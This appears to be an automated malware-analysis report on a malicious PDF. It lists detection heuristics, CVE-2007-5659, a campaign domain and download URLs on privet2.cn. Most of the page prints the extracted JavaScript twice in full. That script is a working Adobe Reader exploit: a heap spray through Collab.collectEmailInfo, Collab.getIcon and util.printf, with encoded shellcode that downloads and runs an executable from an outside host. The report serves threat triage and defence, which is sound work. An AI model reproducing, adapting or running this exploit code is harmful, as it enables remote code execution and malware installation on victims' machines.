MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 JavaScript/Shell Script Execution
The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The JavaScript stream, named javascript_obj0009_000.js, likely contains obfuscated code designed to download and execute a second-stage payload. The unescape() call further suggests obfuscation of malicious content within the script.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 8
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var P3K7AA69hSHl = 0x0c0c0c0c; var JS24h5i0DaZZ = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u9 … } -
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://privet2.cn/arend_nt/getexe.php?spl=pdf_email Referenced by PDF JavaScript
- http://privet2.cn/arend_nt/getexe.php?spl=pdf_prntfReferenced by PDF JavaScript
- http://privet2.cn/arend_nt/getexe.php?spl=pdf_icnReferenced by PDF JavaScript
- http://privet2.cn/arend_nt/getexeReferenced by PDF JavaScript
🗂 Part of campaign:
privet2.cn
16 samples
Extracted artifacts 5
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0009_000.js |
pdf-javascript-stream | PDF /JS object 9 at offset 0xD6 | 5311 bytes |
SHA-256: ed0a4f9f0e176acffb6c60d5822cea4ca598ded6b534eb75f0f937ca832ade50 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var QIq8teP1bz9H = new Array();
var ul0VfVIKFuJy;
var lave = eval;
function JVA2CrhM0XU4(mu5nuC5DxEid, y1yyuHxon8pz)
{
while(mu5nuC5DxEid.length * 2 < y1yyuHxon8pz)
{
mu5nuC5DxEid += mu5nuC5DxEid;
}
mu5nuC5DxEid = mu5nuC5DxEid.substring(0, y1yyuHxon8pz / 2);
return mu5nuC5DxEid;
}
function XWM95qBFkF4e(Q9sPMa47b26V)
{
if(Q9sPMa47b26V == 0)
{
var P3K7AA69hSHl = 0x0c0c0c0c;
var JS24h5i0DaZZ = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
}
else if(Q9sPMa47b26V == 1)
{
P3K7AA69hSHl = 0x30303030;
var JS24h5i0DaZZ = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
}
else if(Q9sPMa47b26V == 2)
{
var JS24h5i0DaZZ = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
}
var ocgmdlIwoc3y = 0x400000;
var R98TaOFtrGwY = JS24h5i0DaZZ.length * 2;
var y1yyuHxon8pz = ocgmdlIwoc3y - (R98TaOFtrGwY + 0x38);
var mu5nuC5DxEid = unescape("%u9090%u9090");
mu5nuC5DxEid = JVA2CrhM0XU4(mu5nuC5DxEid, y1yyuHxon8pz);
var eehXFG8QtoCW = (P3K7AA69hSHl - 0x400000) / ocgmdlIwoc3y;
for(var vUSO8VNueVNF = 0; vUSO8VNueVNF < eehXFG8QtoCW; vUSO8VNueVNF++)
{
QIq8teP1bz9H[vUSO8VNueVNF] = mu5nuC5DxEid + JS24h5i0DaZZ;
}
}
function Pc9lt6KDk2l1()
{
var ktQBhdiH9AgF = 0;
var r50LaXbUAkG4 = app.viewerVersion.toString();
app.clearTimeOut(ul0VfVIKFuJy);
if((r50LaXbUAkG4 >= 8 && r50LaXbUAkG4 < 8.102) || r50LaXbUAkG4 < 7.1)
{
XWM95qBFkF4e(0);
var haHac3avw17d = unescape("%u0c0c%u0c0c");
while(haHac3avw17d.length < 44952) haHac3avw17d += haHac3avw17d;
var movmzb2ggB3G = this;
var PdltN3xDcFnF = Collab;
movmzb2ggB3G["collabStore"] = PdltN3xDcFnF["collectEmailInfo"](
{
subj : "", msg : haHac3avw17d
}
);
}
if((r50LaXbUAkG4 >= 8.102 && r50LaXbUAkG4 < 8.104) || (r50LaXbUAkG4 >= 9 && r50LaXbUAkG4 < 9.1) || r50LaXbUAkG4 <= 7.101)
{
try
{
if(app.doc.Collab.getIcon)
{
XWM95qBFkF4e(2);
var UOAEOHr47np7 = unescape("%09");
while(UOAEOHr47np7.length < 0x4000)
{
UOAEOHr47np7 += UOAEOHr47np7;
}
UOAEOHr47np7 = "N." + UOAEOHr47np7;
var Irn63pMmT8gq = app;
Irn63pMmT8gq["doc"]["Collab"]["getIcon"](UOAEOHr47np7);
ktQBhdiH9AgF = 1;
}
else
{
ktQBhdiH9AgF = 1;
}
}
catch(e)
{
ktQBhdiH9AgF = 1;
}
if(ktQBhdiH9AgF == 1)
{
if(r50LaXbUAkG4 == 8.102 || r50LaXbUAkG4 == 7.1)
{
XWM95qBFkF4e(1);
var Zd5msr3AFDPe = "12999999999999999999";
for(RGhb4XhSOUYR = 0; RGhb4XhSOUYR < 276; RGhb4XhSOUYR++)
{
Zd5msr3AFDPe += "8";
}
var fuDn3teBXjyQ = util;
fuDn3teBXjyQ["printf"]("%45000f", Zd5msr3AFDPe);
}
}
}
}
app.n1brE1ViHDKL = Pc9lt6KDk2l1;
ul0VfVIKFuJy = app.setTimeOut("app.n1brE1ViHDKL()", 1);
|
|||
javascript_obj0009_000_shellcode_00.bin |
pdf-js-shellcode | pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 | 276 bytes |
SHA-256: 53b3e4c7a38345353f3fa1ae4b7ff52d402e922a3c928c5080347dbe2dec1883 |
|||
javascript_obj0009_000_shellcode_01.bin |
pdf-js-shellcode | pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 | 276 bytes |
SHA-256: d3ec852c1d2decd4c16deaf172efa38de6b4ff01d8134aa8e996f13f2df4eb41 |
|||
javascript_obj0009_000_shellcode_02.bin |
pdf-js-shellcode | pdf-js-unescape-shellcode recovered from PDF /JS object 9 at offset 0xD6 | 274 bytes |
SHA-256: 12ed26cd8dd7e85424451cd7e17e925b4b010481b1a4fd61291904ff3ca0143d |
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 | 5307 bytes |
SHA-256: aec9828f82daae34588665319dd0db8e2966ff51936d38aff8f61b4f22c9fb54 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var QIq8teP1bz9H = new Array();
var ul0VfVIKFuJy;
var lave = eval;
function JVA2CrhM0XU4(mu5nuC5DxEid, y1yyuHxon8pz)
{
while(mu5nuC5DxEid.length * 2 < y1yyuHxon8pz)
{
mu5nuC5DxEid += mu5nuC5DxEid;
}
mu5nuC5DxEid = mu5nuC5DxEid.substring(0, y1yyuHxon8pz / 2);
return mu5nuC5DxEid;
}
function XWM95qBFkF4e(Q9sPMa47b26V)
{
if(Q9sPMa47b26V == 0)
{
var P3K7AA69hSHl = 0x0c0c0c0c;
var JS24h5i0DaZZ = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6D65%u6961%u006C");
}
else if(Q9sPMa47b26V == 1)
{
P3K7AA69hSHl = 0x30303030;
var JS24h5i0DaZZ = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7270%u746E%u0066");
}
else if(Q9sPMa47b26V == 2)
{
var JS24h5i0DaZZ = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u702F%u6972%u6576%u3274%u632E%u2F6E%u7261%u6E65%u5F64%u746E%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6369%u006E");
}
var ocgmdlIwoc3y = 0x400000;
var R98TaOFtrGwY = JS24h5i0DaZZ.length * 2;
var y1yyuHxon8pz = ocgmdlIwoc3y - (R98TaOFtrGwY + 0x38);
var mu5nuC5DxEid = unescape("%u9090%u9090");
mu5nuC5DxEid = JVA2CrhM0XU4(mu5nuC5DxEid, y1yyuHxon8pz);
var eehXFG8QtoCW = (P3K7AA69hSHl - 0x400000) / ocgmdlIwoc3y;
for(var vUSO8VNueVNF = 0; vUSO8VNueVNF < eehXFG8QtoCW; vUSO8VNueVNF++)
{
QIq8teP1bz9H[vUSO8VNueVNF] = mu5nuC5DxEid + JS24h5i0DaZZ;
}
}
function Pc9lt6KDk2l1()
{
var ktQBhdiH9AgF = 0;
var r50LaXbUAkG4 = app.viewerVersion.toString();
app.clearTimeOut(ul0VfVIKFuJy);
if((r50LaXbUAkG4 >= 8 && r50LaXbUAkG4 < 8.102) || r50LaXbUAkG4 < 7.1)
{
XWM95qBFkF4e(0);
var haHac3avw17d = unescape("%u0c0c%u0c0c");
while(haHac3avw17d.length < 44952) haHac3avw17d += haHac3avw17d;
var movmzb2ggB3G = this;
var PdltN3xDcFnF = Collab;
movmzb2ggB3G["collabStore"] = PdltN3xDcFnF["collectEmailInfo"](
{
subj : "", msg : haHac3avw17d
}
);
}
if((r50LaXbUAkG4 >= 8.102 && r50LaXbUAkG4 < 8.104) || (r50LaXbUAkG4 >= 9 && r50LaXbUAkG4 < 9.1) || r50LaXbUAkG4 <= 7.101)
{
try
{
if(app.doc.Collab.getIcon)
{
XWM95qBFkF4e(2);
var UOAEOHr47np7 = unescape(" ");
while(UOAEOHr47np7.length < 0x4000)
{
UOAEOHr47np7 += UOAEOHr47np7;
}
UOAEOHr47np7 = "N." + UOAEOHr47np7;
var Irn63pMmT8gq = app;
Irn63pMmT8gq["doc"]["Collab"]["getIcon"](UOAEOHr47np7);
ktQBhdiH9AgF = 1;
}
else
{
ktQBhdiH9AgF = 1;
}
}
catch(e)
{
ktQBhdiH9AgF = 1;
}
if(ktQBhdiH9AgF == 1)
{
if(r50LaXbUAkG4 == 8.102 || r50LaXbUAkG4 == 7.1)
{
XWM95qBFkF4e(1);
var Zd5msr3AFDPe = "12999999999999999999";
for(RGhb4XhSOUYR = 0; RGhb4XhSOUYR < 276; RGhb4XhSOUYR++)
{
Zd5msr3AFDPe += "8";
}
var fuDn3teBXjyQ = util;
fuDn3teBXjyQ["printf"]("E000f", Zd5msr3AFDPe);
}
}
}
}
app.n1brE1ViHDKL = Pc9lt6KDk2l1;
ul0VfVIKFuJy = app.setTimeOut("app.n1brE1ViHDKL()", 1);
|
|||
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